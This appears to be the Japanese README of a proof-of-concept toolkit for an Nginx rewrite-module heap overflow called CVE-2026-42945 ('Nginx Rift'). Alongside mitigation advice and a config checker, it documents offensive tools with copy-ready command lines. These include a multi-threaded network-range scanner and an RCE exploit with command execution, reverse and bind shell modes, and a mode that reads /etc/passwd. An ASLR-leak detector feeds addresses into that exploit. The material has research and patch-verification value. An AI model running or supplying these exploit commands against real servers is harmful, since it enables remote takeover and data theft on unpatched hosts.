liaoziqi-gzfls/cve-2026-42945CVE-2026-42945 Nginx Rift
CVE-2026-42945（Nginx Rift）向けの包括的な概念実証（PoC）ツールキットです。Nginx の ngx_http_rewrite_module に存在する深刻なヒープバッファオーバーフロー脆弱性です。
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-42945 |
| 名称 | Nginx Rift |
| タイプ | ヒープバッファオーバーフロー |
| コンポーネント | ngx_http_rewrite_module |
| 深刻度 | 緊急（CVSS 9.2） |
| 影響を受けるバージョン | Nginx 0.6.27 - 1.30.0 |
| 修正バージョン | Nginx 1.30.1 / 1.31.0 |
この脆弱性は、rewrite ルールを処理する際の 2 回の内部パス間でのサイズ計算の誤りに起因します。設定で以下の条件を使用している場合：
$1、$2 など）? を含む置換文字列との組み合わせNginx は最初のパスで必要なバッファサイズを誤って計算し、2 番目のパスで割り当てられたヒープバッファの範囲を超えて書き込みを行います。
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - コア PoC ツール単一ターゲットを対象とする脆弱性スキャナおよびエクスプロイトツールです。
機能：
Server ヘッダーから Nginx のバージョンを検出使用法：
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - バッチスキャナ複数のターゲットを同時にテストするためのバッチスキャナです。
機能：
使用法：
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
ターゲットファイルの形式：
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - 設定アナライザローカルの Nginx 設定ファイルをスキャンして、脆弱な rewrite パターンを検出します。
機能：
nginx.conf を解析し、include ディレクティブを追跡? を含む名前なしキャプチャを検出使用法：
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py - 拡張 RCE PoCdepthfirst の公式研究に基づく高度なエクスプロイトツールで、複数の rewrite パターンとエクスプロイトモードをサポートしています。
機能：
/api/、/redirect/、/user/ など）を自動検出+、&、=、%）をサポートcmd / shell / bind / readngx_pool_cleanup_s を使用した動的なスプレー本体の構築使用法：
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
エクスプロイトモードの詳細：
| モード | 説明 | 出力 |
|---|---|---|
cmd | 単一のシェルコマンドを実行 | ターゲット上のコマンド出力 |
shell | リバースシェルを起動 | --listen-ip:listen-port に接続を戻す |
bind | ターゲット上でバインドシェルを起動 | ターゲット上の --listen-port で待ち受け |
read | ターゲットからファイルを読み取る | 内容は /tmp/nginx_rift_read に書き込まれる |
アドレス設定（ASLR 無効時のみ）：
--heap-base: ターゲットのヒープベースアドレス（例：0x555555559000）--libc-base: libc のベースアドレス（例：0x7ffff77ba000）--system-addr: system() の直接アドレス（libc-base を上書き）aslr_leak_detector.py - ASLR リーク検出器ASLR 保護をバイパスできる情報漏えいを検出するための総合スキャナです。
機能：
/nginx_status、/actuator/* など）enhanced_poc.py との直接連携使用法：
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
拡張 PoC との連携：
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC ツールは、以下の指標を通じて脆弱性を識別します：
| 指標 | 説明 |
|---|---|
| 接続の切断 | ターゲットが予期せず接続を閉じる（ワーカーのクラッシュ） |
| ゲートウェイエラー | HTTP 502/503/504 応答（ワーカープロセスの停止） |
| 応答の遅延 | 応答時間が大幅に増加する（クラッシュからの復旧） |
| 空の応答 | ベースラインと比較して応答ボディが消える |
| バージョンの一致 | 検出された Nginx バージョンが脆弱な範囲内 |
外部依存関係は不要です。Python 標準ライブラリのみを使用します。
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
| 製品 | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| Nginx オープンソース版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | パッチ未適用の全バージョン | 修正済みリリースに更新 |
| Nginx Gateway Fabric | パッチ未適用の全バージョン | 修正済みリリースに更新 |
直ちにパッチを適用できない場合は、名前なしキャプチャを名前付きキャプチャに置き換えます：
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
脆弱な rewrite パターンを標的とした不正なリクエストをブロックする WAF ルールを展開します。
本ツールキットは、許可されたセキュリティテストおよび研究目的のみで使用してください。
この欠陥は、他の 3 つのメモリ破壊の問題とともに発見されました：